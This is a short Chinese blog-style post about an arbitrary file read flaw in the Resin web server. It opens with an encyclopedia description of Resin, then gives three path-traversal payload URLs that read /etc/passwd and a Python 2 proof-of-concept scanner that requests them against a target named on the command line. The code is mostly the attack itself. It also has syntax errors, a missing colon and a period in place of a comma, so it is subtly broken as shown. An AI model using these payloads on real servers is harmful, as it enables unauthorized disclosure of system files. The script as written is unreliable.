Resin是什么

虽然看不上但是还是原因下百度百科：
<strong>Resin是CAUCHO公司的产品，是一个非常流行的支持servlets和jsp的引擎，速度非常快。Resin本身包含了一个支持HTTP/1.1的WEB服务器。它不仅可以显示动态内容，而且它显示静态内容的能力也非常强，速度直逼APACHESERVER。许多站点都是使用该WEB服务器构建的。</strong>
可以认为是一个<strong>WEB服务器</strong>

Resin存在任意文件读取漏洞

1   """
2   payload1 = "/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd"
3   payload2 = "/resin-doc/examples/jndi-appconfig/test?inputFile=../../../../../../../../../../etc/passwd"
4   payload3 = "/ ..\\\\web-inf"
5   """

Resin任意文件读取POC

1#  -*- coding:utf-8 -*-
2
3"""
4    Resin远程任意文件读取漏洞
5"""
6
7
8#引入依赖库、包文件
9import os
10import sys
11import urllib
12import logging
13import requests
14
15
16#设置全局配置
17reload(sys)
18sys.setdefaultencoding('utf-8')
19logging.basicConfig(format="%(message)s",level=logging.INFO)
20
21
22#定义全局变量和全局函数
23payload1 = "/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd"
24payload2 = "/resin-doc/examples/jndi-appconfig/test?inputFile=../../../../../../../../../../etc/passwd"
25payload3 = "/ ..\\\\web-inf"
26payloadList = [payload1,payload2,payload3]
27
28
29def getUrl(url):
30    urList = []
31    if url != None and isinstance(url,str):
32        if url.find(":") >= 3
33            protocol = url.split(":")[0]+"://"
34            hostname = url.split(":")[1].split("/")[2]
35            for payload in payloadList:
36                tUrl = protocol + hostname + payload
37                urList.append(tUrl)
38                enUrl = urllib.quote(tUrl)
39                urList.append(enUrl)
40    else:
41        pass
42    return urList
43
44
45class ResinScan:
46    def __init__(self,url):
47        self.tUrList = getUrl(url)
48        self.flag = ["root:x:0:0:root:/root"."<h1>Directory of"]
49    def scan(self):
50        for url in self.tUrList:
51            try:
52                response = requests.get(url,timeout=3,verify=False)
53                for string in self.flag:
54                    if response.content.find(string) >= 0:
55                        return True
56            except Exception,reason:
57                logging.info("[-] 扫描错误--错误原因：%s"%str(reason))
58        return False
59
60if __name__ == "__main__":
61    try:
62        url = sys.argv[1]
63    except Exception,reason:
64        logging.info("[-] 没有找到目标站点")
65        exit(0)
66    scan = ResinScan(url)
67    if scan.scan():
68        logging.info("[+] 发现漏洞!")